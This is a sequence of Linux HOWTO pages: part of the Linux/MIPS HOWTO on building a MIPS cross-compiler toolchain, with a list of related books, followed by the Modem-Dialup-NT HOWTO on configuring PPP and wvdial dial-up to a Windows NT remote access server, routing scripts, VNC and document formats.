9. How do I set up a cross-compiler?

9.1 Available binaries

The easiest way to setup a cross-compiler is to just download the binaries. For Linux/i386 hosts and big endian targets, these are the packages:

  binutils-mips-linux-2.8.1-1.i386.rpm
  egcs-c++-mips-linux-1.1.2-2.i386.rpm
  egcs-g77-mips-linux-1.1.2-2.i386.rpm
  egcs-libstdc++-mips-linux-2.9.0-2.i386.rpm
  egcs-mips-linux-1.1.2-2.i386.rpm
  egcs-objc-mips-linux-1.1.2-2.i386.rpm

And this is the list of packages for little endian targets:

  binutils-mipsel-linux-2.8.1-1.i386.rpm
  egcs-c++-mipsel-linux-1.1.2-2.i386.rpm
  egcs-g77-mipsel-linux-1.1.2-2.i386.rpm
  egcs-libstdc++-mipsel-linux-2.9.0-2.i386.rpm
  egcs-mipsel-linux-1.1.2-2.i386.rpm
  egcs-objc-mipsel-linux-1.1.2-2.i386.rpm

For 64-bit MIPS kernels, there is only one package available right now:

  egcs-mips64-linux-1.1.2-2.i386.rpm

This compiler is only available in the big endian flavor as there currently is no little endian machine supported by the 64-bit kernel. A little endian version of the compiler will be provided as soon as there is demand for one.

It's not necessary that you install all of these packages as most people can just omit the C++, Objective C and Fortran 77 compilers. The Intel binaries have been linked against GNU libc 2.1, so you may have to install that as well when upgrading.

9.2 Recommended compiler versions

Compilers older than egcs 1.1.2 are no longer supported for compiling kernels due to bugs in the generated code. At this time, we still recommend binutils 2.8.1 despite their age.

9.3 Building your own cross-compiler

First of all, go and download the following source packages:

  • binutils-2.8.1.tar.gz
  • egcs-1.1.2.tar.gz
  • glibc-2.0.6.tar.gz
  • glibc-crypt-2.0.6.tar.gz
  • glibc-localedata-2.0.6.tar.gz
  • glibc-linuxthreads-2.0.6.tar.gz
You can obtain these files from your favorite GNU archive or oss.sgi.com. Furthermore, you'll need patches. The unbundled patch files aren't always up-to-date and addional, not MIPS-specific, patches may be required for building. Note that the unbundled patch files also use a different revision numbering and it is therefore recommended that you obtain the source and patches from the RPM packages distributed on oss.sgi.com.

Those are the currently recommended versions. Older versions may or may not be working. If you're trying to use older versions, please don't send bug reports because we don't care. When installing, please install things in the order of binutils, egcs, then glibc. Unless you have older versions already installed, changing the order will fail.

9.4 Disk space requirements

For the installation, you'll have to choose a directory where the files will be installed. I'll refer to that directory below with <prefix>. To avoid a particular problem, it's best to use the same value for <prefix> as your native gcc. For example, if your gcc is installed in /usr/bin/gcc, then choose /usr for <prefix>. You must use the same <prefix> value for all the packages that you're going to install.

During compilation, you'll need about 31MB disk space for binutils. For installation, you'll need 7MB disk space on <prefix>'s partition. Building egcs requires 71MB, and installation 14MB. GNU libc requires 149MB disk space during compilation, and 33MB for installation. Note, these numbers are just a guideline and may differ significantly for different processor and operating system architectures or compiler options.

9.5 Byte order

One of the special features of the MIPS architecture is that all processors except the R8000 can be configured to run either in big or in little endian mode. Byte order means the way the processor stores multibyte numbers in memory. Big endian machines store the byte with the highest value digits at the lowest address while little endian machines store it at the highest address. Think of it as writing multi-digit numbers from left to right or vice versa.

In order to setup your cross-compiler correctly, you have to know the byte order of the cross-compiler target. If you don't already know, check the section Hardware Platforms for your machine's byte order.

9.6 Configuration names

Many of the packages based on autoconf support many different architectures and operating systems. In order to differentiate between these many configurations, names are constructed with <cpu>-<company>-<os>, or even <cpu>-<company>-<kernel>-<os>. Expressed this way, the configuration names of Linux/MIPS are: mips-unknown-linux-gnu for big endian targets, or mipsel-unknown-linux-gnu for little endian targets. These names are a bit long and are allowed to be abbreviated to mips-linux or mipsel-linux. You must use the same configuration name for all packages that comprise your cross-compilation environment. Also, while other names, like mips-sni-linux or mipsel-sni-linux, are legal configuration names, use mips-linux or mipsel-linux instead. These are the configuration names known to other packages, like the Linux kernel sources, and they would otherwise have to be changed for cross-compilation.

I'll refer to the target configuration name below with <target>.

9.7 Installation of GNU Binutils.

This is the first and simplest part (at least as long as you're trying to install on any halfway-sane UNIX flavour). Just cd into a directory with enough free space and do the following:

   gzip -cd binutils-<version>.tar.gz | tar xf -
   cd binutils-<version>
   patch -p1 < ../binutils-<version>-mips.patch
   ./configure --prefix=<prefix> --target=<target>
   make CFLAGS=-O2
   make install
This usually works correctly. However, certain machines using GCC 2.7.x as compiler are known to dump core. This is a known bug in GCC and can be fixed by upgrading the host compiler to GCC 2.8.1 or better.

9.8 Assert.h

Some people have an old assert.h header file installed, probably leftover from an old cross-compiler installation. This file may cause autoconf scripts to fail silently. Assert.h was never necessary and was only installed because of a bug in older GCC versions. Check to see if the file <prefix>/<target>/include/assert.h exists in your installation. If so, just delete the it - it should never have been installed for any version of the cross-compiler and will cause trouble.

9.9 Installing the kernel sources

Installing the kernel sources is simple. Just place them into some directory of your choice and configure them. Configuring them is necessary so that files which are generated by the procedure will be installed. Make sure you enable CONFIG_CROSSCOMPILE near the end of the configuration process. The only problem you may run into is that you may need to install some required GNU programs like bash or have to override the manufacturer-provided versions of programs by placing the GNU versions earlier in the PATH variable. Now, go to the directory <prefix>/<target>/include and create two symbolic links named asm and linux pointing to include/asm rsp. include/linux within your just installed and configured kernel sources. These are necessary such that the necessary header files will be found during the next step.

9.10 First installation of egcs

Now the pain begins. There is a so-called bootstrap problem. In our case, this means that the installation process of egcs needs an already installed glibc, but we cannot compile glibc because we don't have a working cross-compiler yet. Luckily, you'll only have to go through this once when you install a cross-compiler for the first time. Later, when you already have glibc installed, things will be much smoother. So now do:

   gzip -cd egcs-1.1.2.tar.gz | tar xf -
   cd egcs-<version>
   patch -p1 < ../egcs-1.1.2-mips.patch
   ./configure --prefix=<prefix> --with-newlib --target=<target>
   make SUBDIRS="libiberty texinfo gcc" ALL_TARGET_MODULES= \
           CONFIGURE_TARGET_MODULES= INSTALL_TARGET_MODULES= LANGUAGES="c"
Note that we deliberately don't build gcov, protoize, unprotoize, and the libraries. Gcov doesn't make sense in a cross-compiler environment, and protoize and unprotoize might even overwrite your native programs - this is a bug in the gcc makefiles. Finally, we cannot build the libraries because we don't have glibc installed yet. If everything went successfully, install with:
   make SUBDIRS="libiberty texinfo gcc" INSTALL_TARGET_MODULES= \
           LANGUAGES="c" install

If you only want the cross-compiler for building the kernel, you're done. Cross-compiling libc is only required to be able to compile user applications.

9.11 Test what you've done so far

Just to make sure that what you've done so far is actually working, you may now try to compile the kernel. Cd to the MIPS kernel's sources and type ``make clean; make dep; make''. If everything went ok do ``make clean'' once more to clean the sources.

9.12 Installing GNU libc

Note: Building glibc 2.0.6 using a compiler newer than egcs 1.0.3a is not recommended due to binary compatibility problems which may hit certain software. It's recommended that you either use egcs 1.0.3a or use the files from a published binary package. Crosscompiling GNU libc is always only the second best solution as certain parts of it will not be compiled when crosscompiling. A proper solution will be documented here as soon as it is available and believed to be stable. With this warning given, here's the recipe:

   gzip -cd glibc-2.0.6.tar.gz | tar xf -
   cd glibc-2.0.6
   gzip -cd glibc-crypt-2.0.6.tar.gz | tar xf -
   gzip -cd glibc-localedata-2.0.6.tar.gz | tar xf -
   gzip -cd glibc-linuxthreads-2.0.6.tar.gz | tar xf -
   patch -p1 < ../glibc-2.0.6-mips.patch
   mkdir build
   cd build
   CC=<target>-gcc BUILD_CC=gcc AR=<target>-ar RANLIB=<target>-ranlib \
         ../configure --prefix=/usr --host=<target> \
         --enable-add-ons=crypt,linuxthreads,localedata --enable-profile
   make
You now have a compiled GNU libc which still needs to be installed. Do not just type make install. That would overwrite your host system's files with Linux/MIPS-specific files with disastrous effects. Instead, install GNU libc into some other arbitrary directory <somedir> from which we'll move the parts we need for cross-compilation into the actual target directory:
   make install_root=<somedir> install
Now cd into <somedir> and finally install GNU libc manually:
   cd usr/include
   find . -print | cpio -pumd <prefix>/<target>/include
   cd ../../lib
   find . -print | cpio -pumd <prefix>/<target>/lib
   cd ../usr/lib
   find . -print | cpio -pumd <prefix>/<target>/lib
GNU libc also contains extensive online documentation. Your system might already have a version of this documentation installed, so if you don't want to install the info pages, which will save you a less than a megabyte, or already have them installed, skip the next step:
   cd ../info
   gzip -9 *.info*
   find . -name \*.info\* -print | cpio -pumd <prefix>/info
If you're not bootstrapping, your installation is now finished.

9.13 Building egcs again

The first attempt of building egcs was stopped by lack of a GNU libc. Since we now have libc installed we can rebuild egcs but this time as complete as a cross-compiler installation can be:

   gzip -cd egcs-<version>.tar.gz | tar xf -
   cd egcs-<version>
   patch -p1 < ../egcs-1.1.2-mips.patch
   ./configure --prefix=<prefix> --target=<target>
   make LANGUAGES="c c++ objective-c f77"
As you can see, the procedure is the same as the first time, with the exception that we dropped the --with-newlib option. This option was necessary to avoid the libgcc build breaking due to the lack of libc. Now install with:
   make LANGUAGES="c c++ objective-c f77" install
You're almost finished. If you think you don't need the Objective C or F77 compilers, you can omit them from above commands. Each will save you about 3MB. Do not build gcov, protoize, or unprotoize.

9.14 Should I build the C++, Objective C or F77 compilers?

The answer to this question largely depends on your use of your cross-compiler environment. If you only intend to rebuild the Linux kernel, then you have no need for the full blown setup and can safely omit the Objective C and F77 compilers. You must, however, build the C++ compiler, because building the libraries included with the egcs distribution requires C++.

9.15 How about float.h?

The installation of float.h is no longer necessary. Since about egcs 1.0.3a, a proper float.h header file will automatically be generated and installed.

9.16 Known problem when cross-compiling

IRIX crashes

Origin 200 running IRIX 6.5.1 may crash when running ``make depend'' on the Linux kernel sources. IRIX 6.5 on Indy and IRIX 6.5.4 on Origin 200 are known to work. Further reports that help to isolate the problematic configuration are welcome.

Resource limits on System V based hosts

Typical System V-based Unices, like IRIX or Solaris, have limits for the maximum number of arguments to be passed to a child process which may be exceeded when cross-compiling some software like the Linux kernel or GNU libc. For IRIX systems, the maximum length of the argument list defaults to 20KB, while Linux defaults to at least 128KB. This size can be modified by the command ``systune ncargs 131072'' as root.

9.17 GDB

Building GDB as cross-debugger is only of interest to kernel developers. For them, GDB may be a life saver. Such a remote debugging setup always consists of two parts: the remote debugger GDB running on one machine, and the target machine running the Linux/MIPS kernel being debugged. The machines are typically interconnected with a serial line. The target machine's kernel needs to be equipped with a ``debugging stub'' which communicates with the GDB host machine using the remote serial protocol.

Depending on the target's architecture, you may have to implement the debugging stub yourself. In general, you'll only have to write very simple routines for the serial line. The task is further simplified by the fact that most machines are using similar serial hardware, typically based on the 8250, 16450 or derivatives.


Linux/MIPS HOWTO: Related Literature

 Next Previous Contents

10. Related Literature

10.1 See MIPS Run

Author Dominic Sweetman, Publisher Morgan Kaufmann, ISBN 1-55860-410-3.

This is intended as a pretty comprehensive guide to programming MIPS, wherever it's different from programming any other 32-bit CPU. It's the first time anyone has tried to write a readable, and comprehensive, explanation and account of the wide range of MIPS CPUs available. It should be very helpful for anyone programming MIPS who isn't insulated by someone else's operating system. Also, the author is a free-unix enthusiast who subscribes to the Linux/MIPS mailing list!

John Hennessey, father of the MIPS architecture, was kind enough to write in the foreword: ``... this book is the best combination of completeness and readability of any book on the MIPS architecture ...'';

It includes some context about RISC CPUs, a description of the architecture and instruction set, including the "co-processor 0" instructions used for CPU control; sections on caches, exceptions, memory management, and floating point. There's a detailed assembly language guide, some stuff about porting, and some fairly heavy-duty software examples.

Available from:

  • http://www.algor.co.uk/algor/info/seemipsrun.html (europe)
  • http://www.mkp.com/books_catalog/1-55860-410-3.asp (US)

and from good bookshops anywhere. It's 512 pages and costs around $50 in the US, £39.95 in the UK.

I'd be inclined to list two other books too, both from Morgan Kaufmann and available from www.mkp.com or any good bookshop:

10.2 The MIPS Programmer's Handbook

Authors Farquhar and Bunce, Publisher Morgan Kaufmann, ISBN 1-55860-297-6.

A readable introduction to the practice of programming MIPS at the low level, by the author of PMON. Strengths: lots of examples; weakness: leaves out some big pieces of the architecture (such as memory management, floating point and advanced caches) because they didn't feature in the LSI ``embedded'' products this book was meant to partner.

10.3 Computer Architecture - A Quantitative Approach

Authors Hennessy & Patterson, Publisher Morgan Kaufmann, ISBN 1-55860-329-8.

The bible of modern computer architecture and a must-read if you want to understand what makes programs run slow or fast. Is it about MIPS? Well, it's mostly about something very like MIPS... Its sole defect is its size and weight - but unlike most big books it's worth every page.

10.4 UNIX System V ABI MIPS Processor Supplement

By Prentice Hall, Published 05/1991, ISBN 0-13880-170-3. This book defines many of the MIPS specific technical standards like calling conventions, ELF properties, and much more that is being used by Linux/MIPS. Unfortunately it's out of print. Similarly, the site "http://www.mipsabi.org/" is offline.

10.5 The mips.com site

Under http://www.mips.com/publications there are various PDF documents and data sheets about individual processors.

10.6 The NEC site

NEC Electronics ( http://www.necel.com includes complete manuals about their VR41xx processors.


Modem-Dialup-NT HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v1.4, 12 Feb 2002

This document will help you to setup the Modem to do Dial-up Networking with remote server like Windows NT RAS or Linux RAS (Remote Access Server). You can use the Modem to do Dial-Up Networking on Linux very similar to that of MS Windows dialup networking.

1. Introduction

  • 1.1 Preparations

2. Quick Steps to Dialup Networking

  • 2.1 Troubleshooting
  • 2.2 Graphical Tools

3. Remote connection with VNC

  • 3.1 Microsoft "MS Outlook" Email from PPP

4. Related URLs

5. Other Formats of this Document

  • 5.1 Acrobat PDF format
  • 5.2 Convert Linuxdoc to Docbook format
  • 5.3 Convert to MS WinHelp format
  • 5.4 Reading various formats
  • 5.5 Convert HTML to SGML html2sgml

6. Copyright

7. Appendix A Connecting Linux + PPP < -- > NT + RAS...


Modem-Dialup-NT HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Most of the companies in USA and Europe provide "Remote Access Servers" (RAS), so that their employees can dial-in from remote locations either from home or from field. RAS servers are generally Linux RAS servers or MS Windows NT RAS servers.

Nowadays, Virtual Private Network (VPN) is becoming quite popular because it supports broadband and may eventually replace dial-up networking which is very slow running at 56KB/sec. See the VPN HOWTO and VPN-Masquerade howto and java based MindTerm-SSH-HOWTO.

Configuring a dial-up connection on Linux is about as simple as it is in Windows. We will use PPP.

Definition: PPP ('Point to Point Protocol') is a protocol, that makes it possible to make IP-Links (Internet Protocol) between two computers with a modem.

The operating system Linux has this protocol in the kernel (If you compiled it into the kernel). For a ppp-link you need to start a daemon called pppd.

With PPP you can make a link between two hosts which understand the protocol. A link between a Linux host, acting as client and a Windows NT server, acting as server, is called a (Microsoft term) 'Remote Access Service' (RAS) link.

First, see if your modem is supported by linux. Internal Modems (WinModems) do not work with linux. Some WinModems require special tweaking to make it work in linux.

1.1 Preparations

Check if you have all the needed hardware, software and data and hand:

  • A modem supported by Linux. Some modems, like most internal PCI modems or some external USB modems are so-called WinModems. Which means that they rely on Windows-only software to work. Read Winmodems are not modems for more information and a compability list and check out Linmodems.org for (a few) drivers.

  • The modem's init-string. GNU/Linux does not have an equivalent to the Windows hardware information file (.inf) mechanism. You may have to find out the init-string for your modem yourself. It should(TM) be listed in your hardware's documentation or in the modem's INF file, but there are also online sources like this list of modem init-strings . If you have no clue at all, use ATZ, that works with many modems.

  • Provider data. You'll need your login name, password and the telephone number. DNS addresses would be fine, too, but are optional for recent versions of pppd.

  • Check if your modem is connected correctly to the system or properly recognized by it. With an external modem, that's pretty easy. As 'root' do echo >/dev/ttyS0 and watch the modem LEDs. You should see them flicker for a moment. If not, try echo >/dev/ttyS1 in case your modem is connected to the second serial port. With an internal modem, use HardDrake to check if the system sees the modem. Or use this command to query the PCI list directly: cat /proc/pci. If it's an ISA bus modem, check '/etc/isapnp.conf' if it is listed there. If you don't have that file, you'll have to generate it. Read isapnpfaq.txt in the isapnptools doc directory or man isapnp or man isapnp.conf.


Modem-Dialup-NT HOW-TO: Quick Steps to Dialup Networking

 Next Previous Contents

2. Quick Steps to Dialup Networking

These quick steps will enable you to setup dial-up networking on Linux in just five minutes.

You need the following packages:

  • wvdial*.rpm
  • ppp*.rpm
You can check with rpm -qa | grep -i wvdial for the installed packages on redhat linux. Use equivalent package commands in case of other distributions like Debian or Slackware.

The steps below are for MS Windows NT RAS server. The NT RAS requires noauth in wvdial file. The Linux RAS may need different settings. In the sample example given below, you should replace username john with the user ID given to you to login into remote RAS server.

  1. Edit the file /etc/wvdial.conf and insert lines like
    [Dialer myconnection]
Username = john
Password = passwordofjohn
Phone = 982 1956
Area Code = 713
Inherits = Dialer Defaults
Stupid mode = 1
    Change john with whatever.

  2. Edit /etc/ppp/pap-secrets and insert lines like
    # Secrets for authentication using PAP
# client        server  secret                  IP addresses
john            ppp0    passwordofjohn
john            *       passwordofjohn
    Change john with whatever.

  3. Edit /etc/ppp/chap-secrets and insert lines like
    # Secrets for authentication using CHAP
# client        server  secret                  IP addresses
john            ppp0    passwordofjohn
john            *       passwordofjohn
    Change john with whatever.

  4. Edit /etc/ppp/options and insert lines like
    lock
defaultroute
noipdefault
idle 1200
usepeerdns
proxyarp

  5. Create a new file /etc/ppp/ip-up and insert lines like
    #!/bin/bash

# This file /etc/ppp/ip-up should not be modified -- make local changes to
# /etc/ppp/ip-up.local instead

LOGDEVICE=$6
REALDEVICE=$1

export PATH=/sbin:/usr/sbin:/bin:/usr/bin

[ -f /etc/sysconfig/network-scripts/ifcfg-${LOGDEVICE} ] && /etc/sysconfig/network-scripts/ifup-post ifcfg-${LOGDEVICE}

[ -x /etc/ppp/ip-up.local ] && /etc/ppp/ip-up.local "$@"

exit 0

  6. Create a new file /etc/ppp/ip-up.local and insert lines like
    #!/bin/sh

echo "  "
echo "Before doing route add......"
echo "Output from netstat -nr is : "
netstat -nr
echo "  "

echo " Doing route add now....  "
# You should change the lines below and add the networks where
# your remote machines are ...
route add -net 156.15.24.0 netmask 255.255.255.0 dev ppp0
route add -net 172.28.36.0 netmask 255.255.255.0 dev ppp0
route add -net 172.28.39.0 netmask 255.255.255.0 dev ppp0
route add -net 172.28.26.0 netmask 255.255.255.0 dev ppp0

echo "After doing route add......"
echo "Output from netstat -nr is : "
netstat -nr

echo "  "
    When wvdial is started it automatically starts the pppd which automatically calls this script to add route to your remote networks via the PPP link. See 'man pppd'. In the example above I have to connect to remote networks 156.15.24, 172.28.36, 172.28.39 via the PPP link. You should replace these with your settings. You can also manually add or delete the route after starting the PPP.
    bash$ su - root
bash# route add -net 172.28.26.0 netmask 255.255.255.0 dev ppp0
bash# route del -net 172.23.2.0 netmask 255.255.255.0 dev ppp0

  7. Create a new file /etc/ppp/ip-down and insert lines like
    #!/bin/bash

# This file /etc/ppp/ip-down should not be modified -- make local changes to
# /etc/ppp/ip-down.local instead

LOGDEVICE=$6
REALDEVICE=$1

export PATH=/sbin:/usr/sbin:/bin:/usr/bin

[ -x /etc/ppp/ip-down.local ] && /etc/ppp/ip-down.local "$@"

/etc/sysconfig/network-scripts/ifdown-post ifcfg-${LOGDEVICE}

exit 0

  8. Create a new file /etc/ppp/ip-down.local and insert lines like
    #!/bin/sh

echo "  "
echo "Before doing route delete ......"
echo "Output from netstat -nr is : "
netstat -nr
echo "  "

echo " Doing route delete now....  "
# Lines below should be same as in ip-up.local but with delete
route del -net 156.15.24.0 netmask 255.255.255.0 dev ppp0
route del -net 172.28.36.0 netmask 255.255.255.0 dev ppp0
route del -net 172.23.2.0 netmask 255.255.255.0 dev ppp0

echo "After doing route delete ......"
echo "Output from netstat -nr is : "
netstat -nr

echo "  "
    When pppd is stopped it automatically calls this script to clean up whatever ip-up script did. See 'man pppd'.

  9. Edit /etc/ppp/peers/wvdial and insert lines like
    noauth user john
name wvdial
    Change john with whatever.

  10. If you have an external modem, then just before dialing, switch off/on the power to modem to reset it.
    bash$ su - root
bash# tail -f /var/log/messages

Bring up another xterm shell window and
bash$ su - root
bash# man pppd
bash# man wvdial
bash# cd /etc/ppp
bash# nohup wvdial myconnection &
bash# tail -f nohup.out

Bring up another xterm shell window and
bash$ su - root
bash# ifconfig -a
And you should see ppp device listed and up and running.
bash# netstat -nr
And you should see ppp device listed along with other interfaces.

  11. By this step the pppd should have established the routes to remote networks with ip-up.local script. Also pppd should have created the /etc/ppp/resolv.conf for DNS servers. Now, try connect to remote host and verify connections.
    bash$ su - root
bash# tail -100 /var/log/messages | less
bash# cat /etc/ppp/resolv.conf
bash# ifconfig -a
bash# netstat -nr
I looked for route to network 156.15.24.0 (You should see your
network as per /etc/ppp/ip-up.local)
bash# ping 156.15.24.68
bash# telnet 156.15.24.68

You can also edit /etc/hosts and add these hosts
156.15.24.64    starship
172.28.36.131   gemstone
bash# ping starship
bash# ping gemstone
bash# telnet gemstone
bash# ftp gemstone

  12. To stop the PPP :
    bash$ su - root
bash# killall wvdial
bash# killall pppd
bash# man killall

  13. Now enable non-root user to do dial-up networking with PPP. Make sure that the user belongs to the groups `uucp' and `dialout'.
    bash$ su - root
bash# su - someuser
bash$ id
uid=501(someuser) gid=501(maingid) groups=501(maingid),503(staroffice),505(staff)
This shows the groups 'someuser' belongs.

bash$ exit
bash# usermod --help
bash# usermod -g maingid -G staroffice,staff,uucp,dialout someuser
bash# chgrp -R uucp /etc/ppp
bash# chmod -R ug+r /etc/ppp
bash# chmod -R o-rwx /etc/ppp
bash# chmod go-rwx /etc/ppp/*secrets
bash# chmod u+s /usr/sbin/pppd
bash# su - someuser
bash$ id
This will display groups someuser belongs and you should see uucp.
bash$ nohup wvdial myconnection &
bash$ tail -f nohup.out
    It is very strongly recommended that you use wvdial as `normal' user, and make sure that the user belongs to the groups `uucp' and `dialout'.

  14. See also the frontend tool for wvdial at X-wvdial.

  15. If you do not have any other interface ethernet cards for Cable modem or DSL modem then you can setup telephone dial-up modem as the default route for all outside conections to internet. Assuming you only have modem connection via POTS (Plain Old Telephone System) you can do -
    bash$ su - root
bash# man route
bash# ifconfig -a
And look for the IP address of the ppp device, and use it below
bash# route add default gw  IP_of_ppp_device
For example -
bash# route add default gw  172.28.36.3

2.1 Troubleshooting

In case you have problems:

bash$ su - root
bash# tail -f /var/log/messages
And then start myconnection in /etc/wvdial.conf
bash# wvdial myconnection

bash# ifconfig -a
Should list ppp

bash# netstat -nr
Should list ppp

If you have multiple interfaces, like ethernet cards to DSL or Cable modem,
to check which route is being used, do:
bash# traceroute www.yahoo.com
bash# traceroute remotehostname

2.2 Graphical Tools

Preference should be given the console line commands as in previous section, but some people prefer GUI interface. You can use graphical tools like Linuxconf, KPPP, GnomePPP and many others.

Note: I very strongly recommend using command-line console commands 'wvdial' as demonstrated in previous sections, as they are lot simpler and easy to use.

bash$ su - root
bash# linuxconf &
And select Networking->Client Tasks->Routing & Gateways->Set Other Routes to networks->Add network
. Also select Networking->PPP

bash# rp3 &
bash# rp3-config &


Modem-Dialup-NT HOW-TO: Remote connection with VNC

 Next Previous Contents

3. Remote connection with VNC

Once you have connection through PPP to remote machines, you can use the VNC to display remote machines on your local display.

  • The VNC is at http://www.uk.research.att.com/vnc

  • Get VNC rpms from rpmfind.

  • The best Window manager for VNC is QVWM which is like MS Windows 98/NT/2000 interface, get it from http://www.qvwm.org.

  • After starting vncserver, you can start the vncviewer program on clients like MS Windows, Mac or Linux.

  • See also the List of X11 Windows Managers.

Compiling qvwm on Solaris : On Solaris you should install the following packages which you can get from http://sun.freeware.com - xpm, imlib, jpeg, libungif, giflib, libpng, tiff. And you can download the binary package for solaris from http://www.qvwm.org.

Or you can download the qvwm source for solaris from http://www.qvwm.org and compile it using gcc.

Troubleshooting compile: You should put unsigned long before arg in usleep() usleep((unsigned long) 10000)

3.1 Microsoft "MS Outlook" Email from PPP

  1. At office, start VNC server on your Windows NT/2000 desktop.
  2. Connect from home using modem via PPP.
  3. Once the PPP is established, you can start the vncviewer program. Just type /usr/bin/vncviewer.
  4. Enter your office Windows NT/2000 desktop's hostname and vnc password
  5. The entire desktop of your remote office Windows NT/2000 is displayed. Now you can read your MS Outlook email.


Modem-Dialup-NT HOW-TO: Related URLs

 Next Previous Contents

4. Related URLs

  • The best document is : Mandrake Dial up networking
  • Suse PPP wvdial document and PPP categories

  • PPP HOWTO
  • PPP-NT-HOWTO
  • Modem HOWTO
  • ISP Hookup HOWTO: Chapter 6

  • Linux PPP FAQ
  • PPP Design & Debugging
  • Suomeksi PPP page
  • Unix Serial Port Resources
  • Linux Dial-in server - Setup guide.

  • List of PPP utilities go here and type "ppp" in the search box.
  • General PPP and IPX over PPP

  • VPN HOWTO
  • VPN-Masquerade howto
  • Java based MindTerm-SSH-HOWTO

Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


Modem-Dialup-NT HOW-TO: Other Formats of this Document

 Next Previous Contents

5. Other Formats of this Document

This document is published in 14 different formats namely: DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), and MS WinHelp format.

This howto document is located at:

  • http://www.linuxdoc.org and click on HOWTOs and search for the howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites:

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    A single HTML file can be created with the command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, and Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from: http://www.sgmltools.org Compiling the source you will get the following commands like:
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

5.1 Acrobat PDF format

A PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And a postscript file is generated from DVI which in turn is generated from a LaTex file. You can download distill software from http://www.adobe.com and from unix and from windows . Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use the Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

5.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has a lot more features than linuxdoc. The linuxdoc is very simple and easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some Perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl Perl script. You may need to manually correct a few lines in the document.

  • Download the ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, so you will get some errors when you run it.
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the Perl script. For example you may need to put closing tag < /Para> for each < Listitem>

5.3 Convert to MS WinHelp format

You can convert the SGML howto document to a Microsoft Windows Help file, First convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

5.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read a dvi document give the command:

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with the mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read a postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in the ghostscript*.rpm package and the gv program is in the gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT. You can view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read a postscript document give the command:

                gv howto.ps
                ghostscript howto.ps

You can read an HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX an X Window front end to LaTex.

5.5 Convert HTML to SGML html2sgml

To convert any HTML document to Linuxdoc SGML use the tool 'html2sgml' from http://www.abc.se/~m9339/prog/html2sgml.html.


Modem-Dialup-NT HOW-TO: Copyright

 Next Previous Contents

6. Copyright

